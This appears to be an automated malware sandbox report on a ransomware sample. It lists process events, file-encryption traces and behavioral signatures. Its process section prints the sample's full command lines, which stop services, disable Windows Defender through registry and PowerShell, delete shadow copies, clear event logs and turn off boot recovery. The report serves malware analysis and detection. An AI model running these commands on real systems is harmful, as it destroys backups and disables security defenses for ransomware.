Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1524 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 544 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 544 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 544 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 544 wrote to memory of 756 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 752 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 752 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 752 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 752 wrote to memory of 568 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 752 wrote to memory of 568 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 752 wrote to memory of 568 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 304 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 304 wrote to memory of 1416 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 304 wrote to memory of 1416 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 304 wrote to memory of 1416 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 628 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 628 wrote to memory of 1776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 628 wrote to memory of 1776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 628 wrote to memory of 1776 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1792 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1792 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1792 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1204 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1204 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1204 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1204 wrote to memory of 1080 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1204 wrote to memory of 1080 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1204 wrote to memory of 1080 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 980 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 980 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 980 wrote to memory of 1752 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1476 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1476 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1476 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\net.exe
PID 1476 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1476 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1476 wrote to memory of 2044 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1560 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1172 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1848 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 1084 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe
PID 1524 wrote to memory of 384 N/A C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe

"C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

Network

N/A

Files

memory/544-54-0x0000000000000000-mapping.dmp

memory/756-55-0x0000000000000000-mapping.dmp

memory/752-56-0x0000000000000000-mapping.dmp

memory/568-57-0x0000000000000000-mapping.dmp

memory/304-58-0x0000000000000000-mapping.dmp

memory/1416-59-0x0000000000000000-mapping.dmp

memory/628-60-0x0000000000000000-mapping.dmp

memory/1776-61-0x0000000000000000-mapping.dmp

memory/1792-62-0x0000000000000000-mapping.dmp

memory/1484-63-0x0000000000000000-mapping.dmp

memory/1204-64-0x0000000000000000-mapping.dmp

memory/1080-65-0x0000000000000000-mapping.dmp

memory/980-66-0x0000000000000000-mapping.dmp

memory/1752-67-0x0000000000000000-mapping.dmp

memory/1476-68-0x0000000000000000-mapping.dmp

memory/2044-69-0x0000000000000000-mapping.dmp

memory/1560-70-0x0000000000000000-mapping.dmp

memory/1172-71-0x0000000000000000-mapping.dmp

memory/1984-72-0x0000000000000000-mapping.dmp

memory/1848-73-0x0000000000000000-mapping.dmp

memory/1084-74-0x0000000000000000-mapping.dmp

memory/384-75-0x0000000000000000-mapping.dmp

memory/2028-76-0x0000000000000000-mapping.dmp

memory/912-77-0x0000000000000000-mapping.dmp

memory/1088-78-0x0000000000000000-mapping.dmp

memory/568-79-0x0000000000000000-mapping.dmp

memory/1128-80-0x0000000000000000-mapping.dmp

memory/1788-81-0x0000000000000000-mapping.dmp

memory/1708-82-0x0000000000000000-mapping.dmp

memory/288-83-0x0000000000000000-mapping.dmp

memory/972-84-0x0000000000000000-mapping.dmp

memory/1100-85-0x0000000000000000-mapping.dmp

memory/2044-86-0x0000000000000000-mapping.dmp

memory/1004-87-0x0000000000000000-mapping.dmp

memory/1924-88-0x0000000000000000-mapping.dmp

memory/1844-89-0x0000000000000000-mapping.dmp

memory/1992-90-0x0000000000000000-mapping.dmp

memory/748-91-0x0000000000000000-mapping.dmp

memory/1988-92-0x0000000000000000-mapping.dmp

memory/1316-93-0x0000000000000000-mapping.dmp

memory/1800-94-0x0000000000000000-mapping.dmp

memory/1776-95-0x0000000000000000-mapping.dmp

memory/1484-96-0x0000000000000000-mapping.dmp

memory/1752-97-0x0000000000000000-mapping.dmp

memory/1504-98-0x0000000000000000-mapping.dmp

memory/1880-99-0x0000000000000000-mapping.dmp

memory/1064-100-0x0000000000000000-mapping.dmp

memory/1860-101-0x0000000000000000-mapping.dmp

memory/1556-102-0x0000000000000000-mapping.dmp

memory/572-103-0x0000000000000000-mapping.dmp

memory/1772-104-0x0000000000000000-mapping.dmp

memory/1928-105-0x0000000000000000-mapping.dmp

memory/964-106-0x0000000000000000-mapping.dmp

memory/1000-107-0x0000000000000000-mapping.dmp

memory/1212-108-0x0000000000000000-mapping.dmp

memory/1704-109-0x0000000000000000-mapping.dmp

memory/1912-110-0x0000000000000000-mapping.dmp

memory/1080-111-0x0000000000000000-mapping.dmp

memory/1852-112-0x0000000000000000-mapping.dmp

memory/1852-113-0x000007FEFC501000-0x000007FEFC503000-memory.dmp

memory/924-114-0x0000000000000000-mapping.dmp

memory/1892-116-0x0000000000000000-mapping.dmp

memory/828-118-0x0000000000000000-mapping.dmp

memory/1344-119-0x0000000000000000-mapping.dmp

memory/2064-120-0x0000000000000000-mapping.dmp

memory/2160-122-0x000007FEF3890000-0x000007FEF43ED000-memory.dmp

memory/2160-123-0x0000000002880000-0x0000000002882000-memory.dmp

memory/2160-125-0x0000000002884000-0x0000000002887000-memory.dmp

memory/2160-124-0x0000000002882000-0x0000000002884000-memory.dmp

memory/2160-126-0x000000001B740000-0x000000001BA3F000-memory.dmp

memory/2160-127-0x000000000288B000-0x00000000028AA000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 6b820730184d27ba50fc381227baf546
SHA1 cd1fd452a86b077378113f0ab6d808f49334363c
SHA256 2def2897de0f92de4a34b0304ff7bedd70a8522d7ca47961fbfa81684f2ce90e
SHA512 3f26baa4329c23cbc84ab30213518939bacf743ef0fbd79c37508d3bb584b502b1af784bcff3b0e014882bf226c4ecb8e63111d15ce656122a39bcefb97fc4dc

memory/2260-130-0x000007FEF2FB0000-0x000007FEF3B0D000-memory.dmp

memory/2260-131-0x00000000029A0000-0x00000000029A2000-memory.dmp

memory/2260-132-0x00000000029A2000-0x00000000029A4000-memory.dmp

memory/2260-133-0x00000000029A4000-0x00000000029A7000-memory.dmp

memory/2260-134-0x00000000029AB000-0x00000000029CA000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 19:26

Reported

2022-01-12 19:32

Platform

win10-en-20211208

Max time kernel

146s

Max time network

222s

Command Line

"C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.databinding_1.4.2.v20140729-1044.jar.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_DnTK7PokP380.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\GamePlayAssets\Localization\localized_JA-JP.respack C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.SkypeApp_11.8.204.0_x64__kzf8qxf38zg5c\SkypeApp\Assets\SkypeAppList.targetsize-32_altform-unplated.png C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\sk-sk\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_1kPPmz_Z2bw0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
File opened for modification C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\en-il\ui-strings.js.TpkGFG5B_qYjMrTPvZptjgRyBMr0I62_-_LntRfVRAT_62vLodfrHxI0.iavpt C:\Users\Admin\AppData\Local\Temp\16d0c9651cae4ca2641f9e875be9f7b39737292eede7a7870b6081922f40b4b1.exe N/A
